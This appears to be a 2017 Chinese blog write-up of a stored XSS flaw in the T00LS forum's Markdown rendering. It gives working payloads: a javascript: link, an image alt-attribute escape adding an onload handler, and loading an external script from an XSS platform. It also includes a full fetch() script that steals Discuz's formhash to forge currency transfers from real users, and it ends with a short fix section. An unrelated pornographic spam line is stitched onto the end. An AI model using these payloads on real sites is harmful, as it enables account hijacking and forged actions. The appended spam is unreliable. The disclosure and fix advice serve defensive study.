T00LS帖子正文XSS 2017-06-27

T00LS在前段時間開啟了markdown支持,這個漏洞也正是markdown的問題導致。

Markdown是一種可以使用普通文本編輯器編寫的標記語言,通過簡單的標記語法,它可以使普通文本內容具有一定的格式。

Markdown本身是一種標記語言,在網頁上的應用也很簡單,比如當我在markdown中輸入**加粗**,那么經過轉換之后,這個短句將會變成加粗。其實也是一系列的html轉換,由此就會出現很多XSS的問題。

下面我結合T00LS的實例簡單說一說Markdown的XSS漏洞。

最基礎的栗子,點擊觸發XSS

很多人了解markdown以后,可能想到的第一個XSS就是這個。

我們知道markdown可以插入超鏈接。用法如下:

[王松的博客](http://www.yaoqianglawyer.com)

渲染出來的效果如下:

王松的博客

那么如果我們使用偽協議呢?比如:

[XSS](javascript:alert(1))

答案是可以彈框。然后我們彈出Cookies就會發現Discuz的cookies都設置了httponly,也就說說無法用javascript來獲取cookies。

但是我們可以獲取Discuz的formhash呀,在Discuz中,為了防止CSRF,幾乎每個操作都使用了formhash,我們能獲取到formhash,就可以操作當前賬戶幾乎所有的動作了。

那么用js如何獲取Dz的formhash呢?

在帖子正文頁,我們可能會需要回帖,所以肯定會有formhash,如下:

那就很簡單了。

獲取到formhash以后,我們可以選擇直接發送ajax請求來用formhash做點“有趣的事情”,比如發帖,轉賬?

高級一點,自動觸發

在上面的操作中,我們需要被攻擊者點擊超鏈接才可以觸發漏洞,那么我們能不能直接觸發呢?

我們先來看看在markdown中如何使用圖片吧。栗子如下:

![頭像](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

渲染效果如下:

頭像

我們先來看看轉換后的html長啥樣吧:

我們在[]中輸入的內容變成了html中的alt,那么如果我們在這中間用雙引號是否能夠逃逸出來,加個onload或者onerror屬性呢?

比如:

![頭像" onload=alert(1)](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

輸出結果如下:

很明顯alert后面多了一個雙引號,所以我們簡單改一下payload,注釋掉后面:

![頭像" onload=alert(1);//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

然后刷新以后:

果然執行了…… 這個時候已經自動觸發了。

輸出樣式如下:

一個能自動觸發的XSS,可比需要點擊的XSS威力大了許多。

但是在實戰中我們要執行的js代碼可能會非常長,所以在onload里面寫js難免會很麻煩。

so 我們需要引入外部js。

再高級一些,引入外部js

這次我們直接點,payload如下:

![頭像" onload=s=createElement('script');body.appendChild(s);s.src='外部js的url';//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)

比如我們引用一個彈出formhash的js:

這里我用到了安全盒子的XSS平臺,地址是x.secbox.cn

成功彈出formhash:

實例:轉走別人的Tubi

我們先來選一個目標,這里我就選擇我們團隊的核心大佬 @phithon 了。

為了不誤傷其他小伙伴,我這里就編輯我以前的帖子,發給phithon師傅去看,從而觸發XSS。

基本思路如下:

  1. p神訪問觸發XSS
  2. 獲取formhash
  3. ajax請求模擬贊賞帖子

這里選擇贊賞貼子的原因是因為銀行轉賬需要輸入論壇密碼,無法模擬轉賬,我們只是做漏洞演示,所以贊賞就夠啦。

贊賞也是可以自定義tubi的,我們就來“偷”10個p神的tubi吧~

payload編寫

很簡單的payload就不解釋了,如下:

var formhash = document.getElementsByName('formhash')[0].value;
fetch("https://www.t00ls.net/misc.php?action=userrate&userratesubmit=yes&infloat=yes&inajax=1&inajax=1", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1",
    "Connection": 'keep-alive',
  },
  body: "formhash=" + formhash + "&tid=39705&do=dashang&handlekey=userrate&score=%2B10&reason=thanks"
}).then(function(res) {
  if (res.ok) {
    alert("謝謝你的10Tubi?。?!");
  }
}, function(e) {
  alert("Error submitting form!");
});

然后引入一下,即可“偷”tubi:

那么我們現在把這個帖子發給phithon師傅去看。

好了,我們現在再把這個url發給雨神:

戰果:

感謝phithon和lcy的1tubi,還有雨神的10tubi。

實例:蠕蟲

不敢寫,想想整個T00LS都彌漫著蠕蟲的氣息,我就覺得害怕。

漏洞修復及總結

markdown轉換到html后,再進行一系列的過濾吧,html屬性白名單什么的,也可以使用開源的項目,比如:http://htmlpurifier.org/

其實這個拿到Discuz的formhash能做的事情很多很多…… 比如置頂帖子,修改版規,等等,如果是有后臺權限的管理員觸發,或許還可以模擬后臺的一些操作,危害是挺大的。

最后再次感謝phithon和lcy的1tubi,還有雨神的10tubi。

抱拳了老鐵。

一级A片不卡在线观看